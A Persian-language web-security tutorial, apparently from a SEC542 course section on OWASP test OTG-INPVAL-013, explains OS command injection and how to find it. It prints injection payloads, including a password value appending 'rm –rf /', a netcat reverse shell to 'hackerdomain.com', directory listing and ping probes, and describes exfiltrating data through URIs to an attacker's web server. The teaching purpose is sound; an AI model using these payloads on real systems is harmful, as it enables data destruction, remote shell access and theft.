در این بخش از دوره آموزشی SEC542 به آشنایی با حمله Command Injection می پردازیم و همچنین نحوه شناسایی آن را بررسی خواهیم کرد.
OTG-INPVAL-013: Testing for Command Injection
OS command Injection تکنیکی است که در اینترفیس وب استفاده میشود تا دستورات سیستمعامل را بر روی وبسرور اجرا کند. در این تکنیک کاربر از طریق اینترفیس وب، دستورات سیستمعامل وارد نموده تا دستورات بر روی سرور اپلیکیشن اجرا شوند.
هدف OTG-INPVAL-013 ارزیابی اپلیکیشن برای تشخیص آسیبپذیری OS Command Injection است. زمانی که این آسیبپذیری اکسپلویت شود، کاربر میتواند از طریق ورودیهای اپلیکیشن، دستورات سیستمعامل بر روی سرور اجرا کند.
Command Injection
در گذشته بسیاری از اپلیکیشنها با اسکریپتهای شل UNIX مانند BASH و PERL نوشته میشدند و امکانات زیادی برای جداسازی متغیرها در آنها وجود نداشت. بدتر از آن، گاهی این اسکریپتها اپلیکیشنهای خارجی را فراخوانی میکردند. این فراخوانی معمولا به شکل زیر بود:
system(“externaltool”,variable);
که در آن variable ورودی گرفته شده از اپلیکیشن بود. اگر این ورودی شامل یک علامت “;” بود، دستورات اضافی نیز قابل اجرا بودند.
آشنایی با انواع Authentication در وب
برای مثال اسکریپتی را تصور کنید که فرآیند authentication کاربر را با فراخوانی یک برنامه خارجی انجام میدهد. مهاجم عبارت مقابل را در فیلد نام کاربری وباپلیکیشن وارد میکند: “ura”
سپس عبارت زیر را در فیلد پسورد تایپ میکند:
100ser;rm –rf /
این عبارات به شکل زیر در کد جایگذاری میشوند:
system(‘authenticate ura:100ser;rm –rf /’)
اگر اسکریپت با دسترسی روت در حال اجرا باشد، مهاجم کل محتویات پارتیشن روت را حذف کرده است.
ارسال مقدار زیر در فیلد پسورد چه نتیجهای خواهد داشت؟
; /usr/bin/nc –e /bin/sh hackerdomain.com 31337
امروزه این آسیبپذیری در اپلیکیشنهای مدرن کمتر دیده میشود. دستورات ارسال شده جهت اکسپلویت این آسیبپذیری، بر اساس نوع نتیجه، به دو دسته تقسیم میگردند: Local Results و Remote Results . همچنین باید توجه داشت که دستورات باید با توجه به نوع سیستمعامل (که در فازهای اولیه تست مشخص شده) انتخاب و اجرا شوند. اجرا شدن هر دستور بستگی به سطح دسترسی اپلیکیشن دارد.
کشف حمله Command Injection
یافتن آسیبپذیری command injection به سادگی هر نوع injection دیگر است. ما هر پارامتر را بررسی کرده و تشخیص میدهیم که آیا به عنوان بخشی از یک دستور سیستمعاملی، از آن استفاده میشود یا نه. سپس آن پارامتر را فاز میکنیم تا نتیجه آن را ببینیم.
برای مثال وباپلیکیشنی را در نظر بگیرید که در آن، اکانتهای جدید به یک دایرکتوری جهت ذخیره تنظیمات خود احتیاج دارند. بنابراین اپلیکیشن نام کاربری را به عنوان پارامتر قبول کرده و با اجرای دستور mkdir username، برای کاربر یک پوشه/دایرکتوری میسازد.
دقت کنید کاراکترهای زیر، دوستان شما در اکسپلویت این آسیبپذیری هستند. از آنها به عنوان پیشوند استفاده کنید: & && || < > ;
نتایج Command Injection
نتایج حاصل از اکسپلویت این آسیبپذیری به دو دسته تقسیم میشوند:
• نتایج قابل مشاهده: زمانی که نتایج در مرورگر بازگردانده شده و قابل مشاهده است. مثلا لیست دایرکتوری
; ls /etc
• نتایج Blind (غیرقابل مشاهده): زمانی که نتایج اجرای دستور در مرورگر دیده نمیشود. در این حالت میتوانید سیستم خود را پینگ کنید و با اجرای sniffer در شبکه خود، به دنبال بستههای ICMP echo از طرف اپلیکیشن باشید.
; ping y.o.ur.ip
بنابراین بسته به نوع آسیبپذیری باید از دستورات مناسب برای اکسپلویت استفاده کنیم. اگر اپلیکیشن دستور را اجرا کرده و سپس نتیجه را نشان میدهد (یا بر اساس نتیجه، محتوای خاصی میسازد)، دستورات زیر میتوانند مورد استفاده قرار بگیرند:
ls
netstat –an
adduser
اگر اپلیکیشن نتایج را نشان نمیدهد (و هیچ نشانهای نیز تولید نمیکند)، آنگاه مهاجم باید از دستوراتی استفاده کند که موجب تولید ترافیک در شبکه میشوند. یک راه معمول برای این کار، پینگ کردن یک آدرس تحت کنترل مهاجم است.
در این صورت مهاجم با اجرای یک sniffer و شناسایی بستههای ICMP متوجه وجود آسیبپذیری میگردد. راه دیگر، اجرای دستوری است که موجب شود سرور اپلیکیشن به وبسرور مهاجم درخواست نمایش یک صفحه دهد.
مانیتور لاگهای سرور مهاجم، موفقیت آمیز بودن اجرای دستور را مشخص میکند. اگر مهاجم میخواهد که سرور برایش دیتا ارسال کند، میتواند دیتای مورد نظر را در URI قرار دهد. بدین ترتیب با خواندن لاگهای وبسرور، اطلاعات مورد نیاز بدست میآید.
مطالب این بخش توسط سرکار خانم فهیمه رضایی تهیه شده است.